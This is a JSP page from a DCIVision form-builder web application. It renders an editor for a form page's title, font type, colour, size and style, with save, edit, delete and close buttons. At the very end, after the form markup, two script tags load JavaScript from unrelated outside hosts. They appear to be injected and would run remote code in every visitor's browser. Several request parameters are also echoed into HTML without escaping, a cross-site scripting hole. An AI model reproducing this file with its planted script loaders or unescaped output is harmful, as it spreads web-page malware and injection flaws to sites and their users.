<%
/*
 * @(#)EditFormPage.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormPage.jsp

  This class is reflecting business logic uses.

    @author           Vera Wang
    @company          DCIVision Limited
    @creation date    6/14/2004
    @version          $Revision: 1.11.32.4 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormPageForm" scope="request" class="com.dcivision.form.web.MaintFormPageForm"/>

<html:form action="form/MaintFormPage">
<html:javascript formName="maintFormPageForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
 if (request.getParameter("textV")!=null){
   maintFormPageForm.setTitle(request.getParameter("textV").toString()); 
 }
%>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   //String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   
   boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
   String navMode = request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
   } else if (GlobalConstant.RECORD_PENDING.equals(maintFormPageForm.getStatus())) {
     bIsPending = true;
   } else {
     bTextOnly = true;
   }
   
   String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right", FormElement.LABEL_POSITION_RIGHT}};
   
   
   
   String FONT_TYPE_MAP[][] = new String[8][2];

   for ( int i = 0 ; i < 8 ; i++ ) {
     int j = i + 1;
     FONT_TYPE_MAP[i][0] = "form.label.element_fonts_"+j;
     FONT_TYPE_MAP[i][1] = String.valueOf(j);
   }

   String FONT_SIZE_MAP[][] = new String[23][2];


   for ( int i = 0 ; i < 23 ; i++ ) {
     int j = i + 8;
     //int j = i+1;
     FONT_SIZE_MAP[i][0] = "form.label.font_size_"+j;
     //FONT_SIZE_MAP[i][0] = String.valueOf(j);
     FONT_SIZE_MAP[i][1] = String.valueOf(j);
   }

%>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
  
                          
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language="Javascript">
 <!--
 
 
var colorPicker = new ColorPicker();
var field;

function pickFontColor(anchorname,fieldName) {
	field = document.maintFormPageForm.elements['titleFontColor'];
	colorPicker.show(anchorname);
}

function pickColor(color) {
	field.value = color;
}
 
 -->
</script> 
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='formRecordID'/>
<html:hidden property='pageNo'/>
<input type=hidden name='formGroupID' value='<%=session.getAttribute("formGroupID")%>'/>


<!-- Page Title Section -->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- First Upper Table-->
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
 <layout:sectionHeader name="form.label.form_page_info"/>
  <!-- START page info -->
  <tr> 
    <td class="<layout:classLabel mandatory='true'/>"> 
    <bean:message key='form.columnheader.page_title'/>:&nbsp;</td>
    <td class="dataField" width="630"><html:text textOnly='<%//=bTextOnly%>' property='title' size='20' maxlength='100'/>
    &nbsp;&nbsp;<html:select property="titlePosition">
        <html:options stringArray='<%=POS_LABEL_MAP%>'/>
      </html:select>
    </td>
  </tr>
 <!-- Font Type --> 
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='form.label.font_type'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:select property="titleFontType">
        <html:options stringArray='<%=FONT_TYPE_MAP%>'/>
      </html:select>
    </td>
  </tr>  
  
  <tr> 
    <td class="<layout:classLabel/>"><bean:message key='form.label.font_color'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <table>
        <tr>
          <td>
            <html:text readonly='true' property='titleFontColor' textOnly='<%//=bTextOnly%>' size='20' maxlength='7'/><A HREF="#" onClick="pickFontColor('pick2','titleFontColor');return false;" NAME="pick2" ID="pick2">Pick</A>
          </td>
          <td>
            <SCRIPT LANGUAGE="JavaScript">
            <!--
              colorPicker.writeDiv();
            -->
            </SCRIPT>
          </td>
        <tr>
      </table>
    </td>
  </tr>   
  <!-- Font Size -->
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='form.label.font_size'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:select property="titleFontSize">
        <html:options stringArray='<%=FONT_SIZE_MAP%>'/>
      </html:select>px
    </td>
  </tr>   
  <tr>
    <% String fStyle=(maintFormPageForm.getTitleFontStyle()==null)? "" : maintFormPageForm.getTitleFontStyle();%>
    <td class="<layout:classLabel/>"><bean:message key='form.label.font_style'/>:&nbsp;</td>
    <td class="dataField" width="630">
    &nbsp;<input type="checkbox" name="fontStyleBold" value="B" <%if(fStyle.indexOf("B")>=0){%>checked<%}%>><bean:message key="form.label.font_style_bold"/><br>
    &nbsp;<input type="checkbox" name="fontStyleUnderline" value="U" <%if(fStyle.indexOf("U")>=0){%>checked<%}%>><bean:message key="form.label.font_style_underline"/><br>
    &nbsp;<input type="checkbox" name="fontStyleItalic" value="I" <%if(fStyle.indexOf("I")>=0){%>checked<%}%>><bean:message key="form.label.font_style_italic"/>
    </td>

  </tr>    
  
  <!-- END page info -->
    
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>

  <%if (!"VIEWSTRU".equals(request.getParameter("function"))) {%>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
     <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>    	
      <html:standardButton label="common.label.save" onClick="return OpSave()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormPageForm.getOpMode())) {%>
      <logic:permission right='E'>
        <logic:equal name='maintFormPageForm' property='status' value='<%=FormRecord.FORM_STATUS_PENDING%>'>
      	  <html:standardButton label="common.label.edit" link="MaintFormPage.do?navMode=E&ID=${maintFormPageForm.ID}"/>
        </logic:equal>
        <logic:equal name='maintFormPageForm' property='status' value='<%=FormRecord.FORM_STATUS_RELEASED%>'>
      	  <html:standardButton label="common.label.edit" disable="true"/>
        </logic:equal>
          <html:standardButton label="common.label.edit" disable="true"/>
        </logic:permission>
    <%}%>
    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
      <html:hidden property='formRecordID' value='<%=request.getParameter("formRecordID")%>'/>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
    <%}%>
    <%if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormPageForm.getOpMode())){%>
    <html:standardButton label="common.label.close" onClick="self.close();return(false);"/> 
	<%}else{%>
	<html:standardButton label="common.label.close" link="javascript:window.opener.location='MaintFormSectionFormElement.do?navMode=E&formRecordID=${maintFormPageForm.formRecordID}';window.close();"/> 
   <%}%>
    </td>
  </tr> 
 <%}else{%>
  <tr>
   <td colspan="2" align="center">
    <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>  
   </td>
  </tr>
 <%}%>

  
  
</table> 
</td></tr></table>

</html:form>
<SCRIPT LANGUAGE="JavaScript">colorPicker.writeDiv()   

</SCRIPT>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>